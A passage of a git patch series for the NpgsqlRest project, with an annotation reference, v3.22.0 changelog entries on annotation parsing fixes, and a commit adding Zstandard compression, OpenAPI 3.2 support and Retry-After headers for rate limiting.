prose. + +## `mcp_name` + +- **Aliases:** mcp_name +- **Syntax:** `mcp_name ` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `mcp_name customer_orders` -Expose the routine as an MCP tool (Model Context Protocol). A bare mcp with no HTTP tag creates an MCP-only tool with no public HTTP route. Description precedence: mcp_description, then inline mcp text, then the comment prose fallback. No-op when the MCP plugin (NpgsqlRest.Mcp) is not loaded. +Expose the routine as an MCP tool under this name (one word). Default: the routine's name. + +## `mcp_description` + +- **Aliases:** mcp_description, mcp_desc +- **Syntax:** `mcp_description ` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `mcp_description Returns the orders of one customer, newest first` + +Expose the routine as an MCP tool with this description, which wins over the text after mcp and over the comment's prose. + +# OpenAPI ## `openapi` - **Aliases:** openapi -- **Syntax:** `openapi [hide|hidden|ignore] | openapi tag | openapi tags , , ...` +- **Syntax:** `openapi [hide|hidden|ignore] | openapi tag [, ...]` +- **Owner:** openapi · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `openapi tag partners` + +Control this endpoint in the OpenAPI document: hide it (also what a bare openapi does; the endpoint itself is unaffected), or replace its default tag, the schema name, with one or more tags. A tag is one word. + +# SQL test files (`npgsqlrest --test`) -Per-routine OpenAPI document control: hide the endpoint from the document (default action; the endpoint itself is unaffected), or replace its default schema-name tag with one or more custom tags (original casing preserved). No-op when the OpenAPI plugin (NpgsqlRest.OpenApi) is not loaded. +## `setup` ---- +- **Aliases:** setup +- **Syntax:** `-- @setup [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @setup seed_users` -# Supplement — annotations not emitted by `--annotations` +Run these steps (named in TestRunner:Steps) before the file. In the file's header only: the comment lines at its top. An unknown step is an error and the file does not run. -Hand-maintained from the docs (). Everything above comes from the binary's annotation registry; the annotations below are equally real but live elsewhere (custom-parameter conventions, the test runner), so `--annotations` does not list them. +## `teardown` -## Custom-parameter families (`@key = value` — the `=` is REQUIRED) +- **Aliases:** teardown +- **Syntax:** `-- @teardown [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @teardown remove_users` -### TypeScript client (`tsclient*`) +Run these steps (named in TestRunner:Steps) after the file, whether it passed or not. In the file's header only. -| Key | Effect | -|-----|--------| -| `tsclient` | `off`/`false`/`disabled`/`0` — exclude endpoint from the generated TS client | -| `tsclient_module` | group endpoints with the same module name into one file | -| `tsclient_events` | enable/disable the SSE events parameter | -| `tsclient_parse_url` / `tsclient_parse_request` | enable/disable those generated-function parameters | -| `tsclient_status_code` | include status code in the return value | -| `tsclient_export_url` | `true` — export a URL constant regardless of global `ExportUrls` | -| `tsclient_hooks` (3.20.0+) | `off` — exclude from generated TanStack Query hooks only | -| `tsclient_url_only` | `true` — only URL constant + request interface (no fetch function); implies `tsclient_export_url` | +## `connection` -### Dart client (`dartclient*`) +- **Aliases:** connection +- **Syntax:** `-- @connection ` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** name +- **Example:** `-- @connection reporting` -Same shape as `tsclient*`: `dartclient` (off), `dartclient_module` (falls back to `tsclient_module`), `dartclient_status_code`, `dartclient_events`, `dartclient_parse_url`, `dartclient_parse_request`, `dartclient_export_url`, `dartclient_url_only`. +Run the file's SQL and its endpoint calls on this connection (a name in ConnectionStrings) instead of the run's test connection. In the file's header only. -### Table format (`table_format`) +## `tag` + +- **Aliases:** tag +- **Syntax:** `-- @tag [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @tag smoke, auth` + +Tags for this file, which TestRunner:Tag and TestRunner:ExcludeTag select or leave out. In the file's header only. + +## `include` + +- **Aliases:** \i, \ir +- **Syntax:** `\i | \ir ` +- **Owner:** test · **Form:** a line of its own shape · **Where:** test file +- **Value:** path +- **Example:** `\ir fixtures/users.sql` + +Include another file here, as if its text were pasted: \i reads the path from the working directory, \ir from the including file's directory. On a line of its own, between statements. The rest of the line is the path. + +## `test_request` + +- **Syntax:** `/* GET|POST|PUT|DELETE /path[?query] ... */` +- **Owner:** test · **Form:** a line of its own shape · **Where:** test file +- **Value:** text +- **Example:** `/* GET /api/users?id=1 */` + +A block comment that starts with a request line calls that endpoint in-process. Header lines and # @claim / # @response directives follow the request line, then a blank line, then the body. The response lands in a temporary table (_response, or _response_1, _response_2 ... when the file has several calls) with the columns status, body, content_type, headers and is_success, which the SQL after it asserts on. + +## `claim` + +- **Aliases:** claim +- **Syntax:** `# @claim =` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** text +- **Example:** `# @claim user_id=42` + +Inside a request block: the call is made by a signed-in user with this claim. Repeat it for more claims. Without any, the call is anonymous. + +## `response` + +- **Aliases:** response +- **Syntax:** `# @response ` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** name +- **Example:** `# @response created` + +Inside a request block: the name of the temporary table that receives this call's response. + +# HTTP Custom Types (comments on composite types) + +## `http_type_request` + +- **Syntax:** `GET|POST|PUT|PATCH|DELETE ` +- **Owner:** http_type · **Form:** a line of its own shape · **Where:** type comment (HTTP Custom Type) +- **Value:** text +- **Example:** `GET https://api.example.com/users/{_id}` + +The request line: the HTTP method and the URL to call, absolute, or starting with / for a call to an endpoint of this application. Only directives and # comment lines may come before it. Header lines follow it, then a blank line, then the request body. {name} placeholders in the URL, the headers and the body take the routine's parameter values. The response fills the type's fields by name: body, status_code, headers, content_type, success, error_message (the names are configurable in HttpClientOptions). + +## `http_type_header` + +- **Syntax:** `Header-Name: value` +- **Owner:** http_type · **Form:** a line of its own shape · **Where:** type comment (HTTP Custom Type) +- **Value:** text +- **Example:** `Authorization: Bearer {_token}` + +A request header, on the lines after the request line. A Content-Type header sets the body's content type (application/json when there is a body and no header). + +## `timeout` + +- **Aliases:** timeout +- **Syntax:** `timeout ` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** interval · **Default:** `30s` +- **Example:** `@timeout 10s` -| Key | Effect | -|-----|--------| -| `table_format` | `html` (HTML table) or `excel` (`.xlsx` download); unrecognized value → warning + JSON fallback | -| `excel_file_name` | download filename (excel only; defaults to routine name) | -| `excel_sheet` | worksheet name (excel only; defaults to routine name, max 31 chars) | +How long one attempt may take. A number is seconds; 10s, 500ms, 2 minutes and 00:00:10 are also read. On a timeout status_code is 408 and error_message says so. -Values accept `{param}` placeholders — e.g. `@table_format = {_format}` lets the caller pick the output format. +## `retry_delay` -## Test-file annotations (`*.test.sql`, test runner only — not endpoint annotations) +- **Aliases:** retry_delay +- **Syntax:** `retry_delay , , ... [on , , ...]` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** list · **Default:** `no retries` +- **Example:** `@retry_delay 1s, 3s, 10s on 429, 503` -**File header** (leading `--` comments before the first statement or HTTP block): +Retry a failed call: one retry per delay, each waited before its retry. Without 'on', any response outside 200-299 is retried; with it, only the listed status codes. Timeouts and network errors are always retried. -- `-- @setup ` — run-once setup step -- `-- @teardown ` — guaranteed teardown step -- `-- @connection ` — run the file on a specific named connection -- `-- @tag a, b` — tags for `--testrunner:tag` / `--testrunner:excludetag` selection +## `cache` -**Inside HTTP block comments** (`/* METHOD /full/path ... */`): +- **Aliases:** cache +- **Syntax:** `cache [interval]` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** interval · **Default:** `off` +- **Example:** `@cache 5 minutes` -- `# @claim name=value` — repeatable; any claim = authenticated principal, none = anonymous -- `# @response ` — capture the response into a custom temp table instead of `_response` +Keep the response in memory and answer identical calls from it, for the given time (without a time, until the application stops). GET requests only, and only responses with status 200-299. diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md index df742437..d7a849d1 100644 --- a/changelog/v3.22.0.md +++ b/changelog/v3.22.0.md @@ -36,6 +36,10 @@ Most applications upgrade without changes. Go through this list; each item links - Anonymous calls to `authorize` endpoints get `401` before validation runs, so they no longer see validation errors, `204` or `404` responses. → [details](#authorization-is-now-checked-before-the-request-is-processed) - A `500` caused by the infrastructure (for example, the database is unreachable) no longer includes the error message. PostgreSQL's own errors still do. → [details](#infrastructure-error-details-are-no-longer-returned-to-clients) +- SQL files: a comment line written without `@` that begins with `returns` or `result` is an annotation only when the rest of it looks like one; a sentence is a comment. Write `@returns` and `@result` to be explicit. → [details](#sql-files-a-comment-starting-with-returns-or-result-was-taken-for-an-annotation) +- OpenAPI tags are separated by commas only: `@openapi tags a b` is now one tag, `a b`. → [details](#openapi-a-tag-could-not-be-several-words) +- Built-in `key = value` lines with a value that is not valid (`raw = maybe`) now log a warning. → [details](#key--value-forms-that-did-nothing-in-silence) +- A comment line that begins with `@` and is not an annotation is no longer published as part of the endpoint's description, and an unknown `@key = value` logs a warning at startup. → [details](#unknown--lines-not-published-and-a-misspelt-key-is-said) - OpenAPI summaries and descriptions show only the prose lines of routine comments, not the annotations. → [details](#openapi-published-the-routines-annotations-including-credentials) - The memory cache holds at most 100,000 entries by default (`CacheOptions:MemoryCacheMaxEntries`). → [details](#memory-cache-callers-could-grow-server-memory-without-limit) - Multi-line SSE messages now arrive complete, as one event. → [details](#server-sent-events-forged-events-and-unbounded-memory-for-idle-subscribers) @@ -399,6 +403,91 @@ Rows used to be sent to the client every 25 rows (`BufferRows`, or the `buffer_r --- +### Annotations for tools: a complete reference, and what each endpoint read + +Editors and other tools that work with NpgsqlRest need to know two things without guessing: which annotations exist, and what NpgsqlRest made of a particular comment. Both are now answered by the `npgsqlrest` executable, as JSON. + +#### `npgsqlrest --annotations` lists everything that is read + +The reference used to cover the core annotations only (58 entries). Custom parameters (`key = value`) were one generic entry, so nothing listed the keys the TypeScript client, the upload handlers or the table formats read. It now has 125 entries, from core and from every plugin and handler the client ships, whether the configuration enables them or not: + +| Owner | What | +|---|---| +| `core` | the endpoint annotations, now including `sse_publish`, `sse_subscribe` and `table_format` | +| `upload`, `upload:large_object`, `upload:file_system`, `upload:csv`, `upload:excel` | the upload handlers' parameters, each also under its handler-prefixed name (`csv_delimiters`) | +| `table_format:excel` | `excel_file_name`, `excel_sheet` | +| `tsclient`, `dartclient` | the client generators' parameters | +| `mcp`, `openapi` | `mcp`, `mcp_name`, `mcp_description`, `openapi` | +| `test` | what a SQL test file may say: `@setup`, `@teardown`, `@connection`, `@tag`, includes, request blocks, `@claim`, `@response` | +| `http_type` | what the comment of an HTTP Custom Type may say: the request line, headers, `timeout`, `retry_delay`, `cache` | + +Each entry keeps `name`, `aliases`, `syntax` and `description`, and adds: + +```json +{ + "name": "timeout", + "aliases": ["command_timeout", "timeout"], + "syntax": "timeout ", + "description": "Set command execution timeout (PostgreSQL interval format).", + "owner": "core", + "form": "keyword_or_key_value", + "contexts": ["routine", "sql_file"], + "valueKind": "interval", + "example": "timeout 30s" +} +``` + +- `owner`: who reads it. +- `form`: how it is written. `keyword` (`authorize admin`), `key_value` (`tsclient_module = users`), `keyword_or_key_value` (both work), or `line` (a line with a shape of its own, such as a response header). +- `contexts`: where it is read. `routine` (a routine's comment), `sql_file`, `sql_file_statement` (positional, for one statement of a SQL file), `test_file`, `type_comment`. +- `valueKind`: `none`, `boolean`, `integer`, `text`, `enum`, `interval`, `sql`, `list`, `path` or `name`; `values` lists the choices of an `enum`. +- `default` and `example`, where they can be given in a line. + +One correction: the entry `resultN` described a syntax that does not exist (`@result1 validate`). The annotation is `result `, and the entry now says so. + +#### `npgsqlrest --endpoints` says where an endpoint comes from and what its comment did + +Each endpoint in the output gains: + +- `routine.sourceFile`: the file of a SQL file endpoint. +- `annotations`: the comment lines that were read as annotations, as written. +- `commentLines`: the lines that are prose. This is what OpenAPI and MCP use as the description. +- `unknownAnnotations`: lines written as annotations (`@name ...`) that nothing reads. +- `unknownCustomParameters`: `key = value` keys that nothing reads, written with or without the `@`. +- `diagnostics`: the warnings and errors logged about this endpoint while its comment was parsed, so they no longer have to be found in the log. + +```json +{ + "method": "GET", + "path": "/api/hello", + "annotations": ["HTTP GET", "@authorize", "@tsclinet_module = people", "@timeout = 10s"], + "commentLines": ["Greets a person by name."], + "unknownAnnotations": ["@tsclinet_module = people", "@color blue"], + "diagnostics": ["Function public.hello mapped to GET /api/hello: \"@tsclinet_module = people\" - nothing reads a custom parameter named tsclinet_module. Check the spelling (npgsqlrest --annotations lists what is read)."], + "customParameters": { "tsclinet_module": "people" }, + "unknownCustomParameters": ["tsclinet_module"] +} +``` + +#### Unknown `@` lines: not published, and a misspelt key is said + +Two things change in how a comment is read. Both concern only lines that begin with `@`; a line without it is treated exactly as before. + +- **A line that begins with `@` and is no annotation is no longer part of the description.** NpgsqlRest treated every line it did not recognise as prose, and OpenAPI and MCP publish the prose as the endpoint's description. So `@color blue` (another tool's annotation) or `@authorise` (a typo) ended up in the published API document. Such lines are now kept apart. +- **`@key = value` with a key that nothing reads logs a warning at startup.** Any `key = value` line is stored as a custom parameter, so `@tsclinet_module = users` was accepted in silence and did nothing. It is still stored, and now said: `"@tsclinet_module = users" - nothing reads a custom parameter named tsclinet_module.` A key your own application reads from `CustomParameters` is reported too when written with `@`; write it without, or register it (below). + +A plugin's annotation is known even when the plugin is disabled, so `@mcp_name orders` with MCP turned off is neither published nor reported. + +#### For library users and plugin authors + +- `IEndpointCreateHandler` has a new optional member, `CommentAnnotation[] Annotations`, where a plugin describes what it reads. `UseNpgsqlRest` registers it; `CommentAnnotations.Register(...)` does the same for anything else (your own custom parameter keys, or a plugin that is not enabled in this process). `CommentAnnotations.All`, `IsKnown` and `ToJson()` give the reference. +- `RoutineEndpoint` has three new properties: `AnnotationLines`, `UnknownAnnotationLines` and `Diagnostics`. `Routine.SourceFile` is set by the SQL file source. +- `RoutineEndpoint.CustomParameters` is now created with a case-insensitive key comparer, and `Ext.TryParseSwitch` reads a switch value the way annotations write it. +- An internal call (`InternalRequestHandler`: HTTP Custom Type self-calls, proxy self-calls, MCP tool calls) now passes its cancellation token to the called endpoint as `HttpContext.RequestAborted`, and a cancelled call throws `OperationCanceledException` instead of answering 500. +- **Lines that begin with `@` are no longer in `RoutineEndpoint.UnhandledCommentLines`.** A plugin that picked its own `@annotations` out of that list has to claim them in `HandleCommentLine` (available since 3.17.0), or read `UnknownAnnotationLines`. + +--- + ### Security fixes The full review found the issues below; all are fixed in this release. Each entry explains which applications are affected, what was wrong, what changed and, where needed, what to check. Ordered by severity. @@ -950,6 +1039,71 @@ For these endpoints `buffer_rows 0` and `buffer_rows 1` also had their meanings A `text[]` (or `varchar[]`, ...) value with an element that ends in a backslash, such as `array['a\', 'b']`, came back with its elements merged and shifted (`["a\\\",b", ...]`). PostgreSQL sends that element as `"a\\"`; the converter took its closing quote for an escaped quote. Such arrays are now returned correctly: `["a\\","b"]`. +#### SQL files: a comment starting with "Returns" or "result" was taken for an annotation + +The SQL file source reads `returns `, `result ` and `define_param ` from comments, with or without the `@`. It matched them by the first letters of the line, so ordinary sentences were annotations too: + +- `-- Returns all active users` was read as `@returns` with the type `all active users`. That type does not exist, which is an error, and with the default `ErrorMode: Exit` **the application did not start**. +- `-- result of the join` renamed that statement's result to `of`. +- `-- resulting rows` and `-- define_params x` matched as well. + +Now the keyword has to be the first whole word. Written **without** the `@`, a line is an annotation only when the rest has the shape of one: a single name after `result`, a type name after `returns` (one word, or a type of several words such as `double precision` and `timestamp with time zone`). If such a line still names a type that does not exist (`-- Returns everything`), it is taken as a comment and a warning says so. Written **with** the `@`, the line is always the annotation, as before, and an unknown type is still an error. + +Two related fixes: + +- In a file with a single statement and **no semicolon**, the header's `@returns`, `@single` and `@skip` were not read at all. +- The source's own lines (`@skip`, `@result ...`, `@returns ...`, `@define_param ...`) were passed on as prose and published by OpenAPI and MCP as part of the endpoint's description when written without the `@`. They no longer are. + +#### `@param $1 type is ` gave no type to the first description of a SQL file + +The form that sets a parameter's type without renaming it worked for `:name` parameters only. For `$1` the type was applied later, but PostgreSQL had already described the statement without it, which fails for a parameter whose type it cannot infer. + +#### Custom parameter keys were case-sensitive + +`TsClient_Module = users` was stored under that exact key, and everything that reads custom parameters asks for lower case names, so it was never found. Keys are now matched in any case, in endpoint comments and for the values resolved per request. Upload handler names (`upload for csv`) and table format names (`table_format = HTML`) are matched in any case too; a handler configured under a name with capitals could not be selected at all, because annotation words are read in lower case. + +#### A Windows path in a custom parameter stopped the application + +Values are read with escapes (`separator = \t`). A value that is not a valid escape sequence, such as `file_system_path = C:\uploads` (`\u` begins a Unicode escape), raised an exception while the endpoints were built. Such a value is now taken as written. + +#### `key = value` forms that did nothing, in silence + +- `basic_auth = alice secret` turned Basic Auth on and added no user (the words were read one position off). +- `raw = on`, `single = 1`, `user_context = enabled` and the other built-in switches accepted only `true` and `false`; anything else was ignored. They now accept `true`, `on`, `enabled`, `1` and `false`, `off`, `disabled`, `0`, like the client generators' keys always did. +- A value that is not valid (`raw = maybe`, `buffer_rows = many`, `timeout = soon`, `sse_level = loud`, an unknown `retry_strategy`) was ignored without a word. It is still ignored, and now logged as a warning. +- `@_token = select ...` for a parameter named `_token` was stored as a custom parameter, not used as its [resolved parameter](https://npgsqlrest.github.io/annotations/resolved-parameters.html) expression; the `@` is now optional there as everywhere. + +#### Plugin annotations ignored the `for` tag + +`for ` makes the lines after it apply only to routines with that tag. Built-in annotations honored it; a plugin's (`mcp`, `openapi`) applied regardless. + +#### OpenAPI: a tag could not be several words + +`@openapi tag Partner API` produced two tags, `Partner` and `API`, although the documentation shows it producing one. Tags are now separated by commas only: `@openapi tags Partner API, Billing` is two tags. + +#### TypeScript and Dart clients: one file, or several + +With `BySchema: false` and no endpoint naming a module, the generators went down the multi-file path: they wrote nothing and logged that `FilePath` has no `{0}`, or split by schema anyway when it had one. And with a module named and a `{0}` in the path, everything was written into a file literally named `{0}.ts`. Now there is one file unless files are split: by schema (`BySchema`), or by module when endpoints name one and the path has a `{0}` for it. + +#### HTTP Custom Types + +- **A header whose name begins with a directive's name was lost.** `Timeout-Ms: 100` was taken for the `timeout` directive (and failed to parse, so the timeout became 30 seconds), `Retry_Delay_Hint: 5` for `retry_delay`. The keyword now has to be a whole word. +- **`error_message` kept the error of a failed attempt after a retry succeeded.** A response with status 200 could carry "Request timed out after 0.5 seconds". +- **Calls to the application's own endpoints** (a URL starting with `/`): `{placeholders}` in header values and in the content type were sent as written, and `@timeout` did not apply, so the caller waited for as long as the called endpoint took. Both now work as for outbound calls, and when the time is up the called endpoint is cancelled. + +#### Test runner + +- **An include line with a comment after the path failed** (`\ir fixtures/users.sql -- the test users`): the comment was taken as part of the path. The documentation's own example did this. +- **Endpoints with an HTTP Custom Type that calls another server were not refused.** Tests run endpoints in-process and must not call external services; proxy endpoints were refused with a message that also named HTTP types, but nothing checked those. A type that calls the application's own endpoints is fine. + +#### SQL files: `@http` was not seen as an HTTP tag + +With the default `CommentsMode` (`OnlyWithHttpTag`), a SQL file is read only when its comment has an HTTP tag. That first check did not accept the optional `@`, so a file whose only tag was written `-- @http GET` was skipped, although the same line works everywhere else. It is now recognised. + +#### No warning for placeholders in `@row_command` + +An upload `row_command` is SQL, so `{placeholders}` are never substituted in it, and NpgsqlRest warns when one is written there. The warning was skipped when the key was written with the `@` prefix (`@row_command = ...`). The value was never substituted either way; only the warning was missing. + ### NuGet Package Upgrades **`NpgsqlRest` (main library) and all plugins** (`NpgsqlRest.CrudSource`, `NpgsqlRest.DartClient`, `NpgsqlRest.HttpFiles`, `NpgsqlRest.Mcp`, `NpgsqlRest.OpenApi`, `NpgsqlRest.SqlFileSource`, `NpgsqlRest.TsClient`): From 6dfb5c6e0f996e08ec0d3d2d776470d1f9b5f1f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 13:21:21 +0100 Subject: [PATCH 20/38] feat: Zstandard response compression, OpenAPI 3.2 with HTTP QUERY, Retry-After on rate-limited requests What .NET 11 and ASP.NET Core 11 made possible or worthwhile: - ResponseCompression:UseZstandard (default false) and ZstandardQuality (null follows CompressionLevel). Among the encodings a client accepts equally the order is Zstandard, Brotli, Gzip. The setup moved to ResponseCompressionSetup, which the tests use as well. - OpenApiOptions.SpecVersion "3.2" emits openapi 3.2.0 and documents HTTP QUERY endpoints under the "query" key of their path. In 3.0 and 3.1 documents they are still left out, and the warning names the setting. - RateLimiterOptions:RetryAfterHeader (default true): a rejected request says in whole seconds when to retry, for fixed window, sliding window and token bucket policies. A concurrency policy cannot know and sends nothing. Tests: - Each of the three with its edge cases, on .NET 11 and on .NET 10 where the limiters behave differently. - Test connection pools close idle connections after a few seconds. The suite held up to 84 of PostgreSQL's 100 connections, so a test that needed a new physical connection late in the run could fail. --- NpgsqlRestClient/Builder.cs | 130 ++++---- NpgsqlRestClient/ConfigDefaults.cs | 3 + NpgsqlRestClient/ConfigSchemaGenerator.cs | 5 +- NpgsqlRestClient/ConfigTemplate.cs | 23 +- NpgsqlRestClient/ResponseCompressionSetup.cs | 117 +++++++ NpgsqlRestClient/appsettings.json | 23 +- .../AuthTests/RateLimiterPerPolicyTests.cs | 2 + .../AuthTests/RateLimiterRetryAfterTests.cs | 310 ++++++++++++++++++ .../ZstandardCompressionTests.cs | 274 ++++++++++++++++ .../OpenApiTests/SpecVersion32Tests.cs | 230 +++++++++++++ NpgsqlRestTests/Setup/Database.cs | 7 +- NpgsqlRestTests/Setup/Program.cs | 14 + .../Setup/RateLimiterPerPolicyTestFixture.cs | 4 +- .../TsClientTests/QueryMethodTests.cs | 2 +- plugins/NpgsqlRest.OpenApi/OpenApi.cs | 16 +- plugins/NpgsqlRest.OpenApi/OpenApiOptions.cs | 4 +- 16 files changed, 1088 insertions(+), 76 deletions(-) create mode 100644 NpgsqlRestClient/ResponseCompressionSetup.cs create mode 100644 NpgsqlRestTests/AuthTests/RateLimiterRetryAfterTests.cs create mode 100644 NpgsqlRestTests/CompressionTests/ZstandardCompressionTests.cs create mode 100644 NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs diff --git a/NpgsqlRestClient/Builder.cs b/NpgsqlRestClient/Builder.cs index e65baa48..f2c0b351 100644 --- a/NpgsqlRestClient/Builder.cs +++ b/NpgsqlRestClient/Builder.cs @@ -1505,60 +1505,26 @@ public bool ConfigureResponseCompression() return false; } + var useZstandard = _config.GetConfigBool("UseZstandard", responseCompressionCfg, false); var useBrotli = _config.GetConfigBool("UseBrotli", responseCompressionCfg, true); var useGzipFallback = _config.GetConfigBool("UseGzipFallback", responseCompressionCfg, true); - - if (useBrotli is false && useGzipFallback is false) - { - return false; - } - - Instance.Services.AddResponseCompression(options => - { - options.EnableForHttps = _config.GetConfigBool("EnableForHttps", responseCompressionCfg, false); - if (useBrotli is true) - { - options.Providers.Add(); - } - if (useGzipFallback is true) - { - options.Providers.Add(); - } - options.MimeTypes = _config.GetConfigEnumerable("IncludeMimeTypes", responseCompressionCfg)?.ToArray() ?? [ - "text/plain", - "text/css", - "application/javascript", - "text/javascript", - "text/html", - "application/xml", - "text/xml", - "application/json", - "text/json", - "image/svg+xml", - "font/woff", - "font/woff2", - "application/font-woff", - "application/font-woff2"]; - options.ExcludedMimeTypes = _config.GetConfigEnumerable("ExcludeMimeTypes", responseCompressionCfg)?.ToArray() ?? []; - }); - - var level = _config.GetConfigEnum("CompressionLevel", responseCompressionCfg); - if (useBrotli is true) - { - Instance.Services.Configure(options => - { - options.Level = level; - }); - } - if (useGzipFallback is true) - { - Instance.Services.Configure(options => - { - options.Level = level; - }); - } - - return true; + var zstandardQuality = _config.GetConfigInt("ZstandardQuality", responseCompressionCfg); + if (zstandardQuality is < 1 or > 22) + { + Logger?.LogWarning("ResponseCompression:ZstandardQuality is {Quality}; it must be from 1 to 22. Using the quality that CompressionLevel stands for.", zstandardQuality); + zstandardQuality = null; + } + + return ResponseCompressionSetup.Add( + Instance.Services, + enableForHttps: _config.GetConfigBool("EnableForHttps", responseCompressionCfg, false), + useZstandard: useZstandard, + useBrotli: useBrotli, + useGzip: useGzipFallback, + level: _config.GetConfigEnum("CompressionLevel", responseCompressionCfg), + zstandardQuality: zstandardQuality, + mimeTypes: _config.GetConfigEnumerable("IncludeMimeTypes", responseCompressionCfg), + excludedMimeTypes: _config.GetConfigEnumerable("ExcludeMimeTypes", responseCompressionCfg)); } public bool ConfigureAntiForgery() @@ -2541,6 +2507,7 @@ public enum RateLimiterType { FixedWindow, SlidingWindow, TokenBucket, Concurren var defaultPolicy = _config.GetConfigStr("DefaultPolicy", rateLimiterCfg); var message = _config.GetConfigStr("StatusMessage", rateLimiterCfg); var globalStatusCode = _config.GetConfigInt("StatusCode", rateLimiterCfg) ?? 429; + var retryAfterHeader = _config.GetConfigBool("RetryAfterHeader", rateLimiterCfg, true); // Per-policy StatusCode/StatusMessage overrides, keyed by policy name (the dict key). The top-level // StatusCode/StatusMessage stay as the global defaults; an individual policy may override either one // independently. The override that applies to a rejected request is resolved at rejection time from @@ -2736,20 +2703,61 @@ public enum RateLimiterType { FixedWindow, SlidingWindow, TokenBucket, Concurren } } - // Install a single global OnRejected only when there is something to write or override: either a - // global StatusMessage, or at least one policy carrying its own StatusCode/StatusMessage. When - // neither is present, leaving OnRejected unset preserves the legacy empty-body rejection. - if (string.IsNullOrEmpty(message) is false || rejectionOverrides.Count > 0) - { - var overrides = rejectionOverrides.ToFrozenDictionary(); - options.OnRejected = (context, cancellationToken) => - ApplyRateLimiterRejectionAsync(context.HttpContext, overrides, globalStatusCode, message, cancellationToken); - } + // One global OnRejected: it says when to come back (Retry-After) and applies the status code and + // message of the policy that rejected the request. With no message and no policy override it + // leaves the body empty, as the framework would. + var overrides = rejectionOverrides.ToFrozenDictionary(); + options.OnRejected = (context, cancellationToken) => + RateLimiterRejectedAsync(context, overrides, globalStatusCode, message, retryAfterHeader, cancellationToken); }); return (defaultPolicy, true); } + /// + /// What the client does for a request the rate limiter rejected: the Retry-After header when the limiter + /// knows when a permit will be available (), then the status code and + /// message (). Public so the test fixtures can drive the exact + /// production wiring. + /// + public static ValueTask RateLimiterRejectedAsync( + OnRejectedContext context, + FrozenDictionary overrides, + int globalStatusCode, + string? globalMessage, + bool retryAfterHeader, + CancellationToken cancellationToken) + { + if (retryAfterHeader) + { + ApplyRetryAfter(context.HttpContext, context.Lease); + } + return ApplyRateLimiterRejectionAsync(context.HttpContext, overrides, globalStatusCode, globalMessage, cancellationToken); + } + + /// + /// Sets the Retry-After header, in whole seconds rounded up (at least 1), when the rejected lease says + /// when to retry. Fixed window, sliding window and token bucket limiters say; a concurrency limiter cannot + /// know when a running request will finish, so it sets nothing. Returns the seconds written. + /// + public static int? ApplyRetryAfter(Microsoft.AspNetCore.Http.HttpContext httpContext, System.Threading.RateLimiting.RateLimitLease lease) + { + if (lease.TryGetMetadata(System.Threading.RateLimiting.MetadataName.RetryAfter, out var retryAfter) is false) + { + return null; + } + var seconds = RetryAfterSeconds(retryAfter); + httpContext.Response.Headers.RetryAfter = seconds.ToString(System.Globalization.CultureInfo.InvariantCulture); + return seconds; + } + + /// A wait as the Retry-After header carries it: whole seconds, rounded up, never less than 1. + public static int RetryAfterSeconds(TimeSpan retryAfter) + { + var seconds = Math.Ceiling(retryAfter.TotalSeconds); + return seconds < 1 ? 1 : seconds >= int.MaxValue ? int.MaxValue : (int)seconds; + } + /// /// Resolves and writes a rate-limiter rejection response, honoring per-policy StatusCode/ /// StatusMessage overrides. The framework exposes only one global OnRejected/ diff --git a/NpgsqlRestClient/ConfigDefaults.cs b/NpgsqlRestClient/ConfigDefaults.cs index 15184e12..fee21f38 100644 --- a/NpgsqlRestClient/ConfigDefaults.cs +++ b/NpgsqlRestClient/ConfigDefaults.cs @@ -401,9 +401,11 @@ private static JsonObject GetResponseCompressionDefaults() { ["Enabled"] = false, ["EnableForHttps"] = false, + ["UseZstandard"] = false, ["UseBrotli"] = true, ["UseGzipFallback"] = true, ["CompressionLevel"] = "Optimal", + ["ZstandardQuality"] = null, ["IncludeMimeTypes"] = CreateStringArray( "text/plain", "text/css", "application/javascript", "text/javascript", "text/html", "application/xml", "text/xml", "application/json", "text/json", @@ -723,6 +725,7 @@ private static JsonObject GetRateLimiterOptionsDefaults() ["StatusCode"] = 429, ["StatusMessage"] = "Too many requests. Please try again later.", ["DefaultPolicy"] = null, + ["RetryAfterHeader"] = true, ["Policies"] = policies }; } diff --git a/NpgsqlRestClient/ConfigSchemaGenerator.cs b/NpgsqlRestClient/ConfigSchemaGenerator.cs index 2cbc659e..c1b3336a 100644 --- a/NpgsqlRestClient/ConfigSchemaGenerator.cs +++ b/NpgsqlRestClient/ConfigSchemaGenerator.cs @@ -178,6 +178,8 @@ public static partial class ConfigSchemaGenerator ["ResponseCompression"] = "Response compression settings", ["ResponseCompression:Enabled"] = "Enable response compression for HTTP responses.", ["ResponseCompression:EnableForHttps"] = "Enable response compression for HTTPS responses.", + ["ResponseCompression:UseZstandard"] = "Use Zstandard compression when supported by client (Accept-Encoding: zstd). It compresses about as well as Brotli for a fraction of the CPU time. Among the encodings a client accepts with equal preference, the order is Zstandard, Brotli, Gzip.", + ["ResponseCompression:ZstandardQuality"] = "Zstandard quality, from 1 (fastest) to 22 (smallest). When null, it follows CompressionLevel: Optimal is 3, Fastest is 1, SmallestSize is 19.", ["ResponseCompression:UseBrotli"] = "Use Brotli compression algorithm when supported by client.", ["ResponseCompression:UseGzipFallback"] = "Use Gzip compression as fallback when Brotli is not supported.", ["ResponseCompression:CompressionLevel"] = "Compression level: Optimal, Fastest, NoCompression, SmallestSize.", @@ -302,6 +304,7 @@ public static partial class 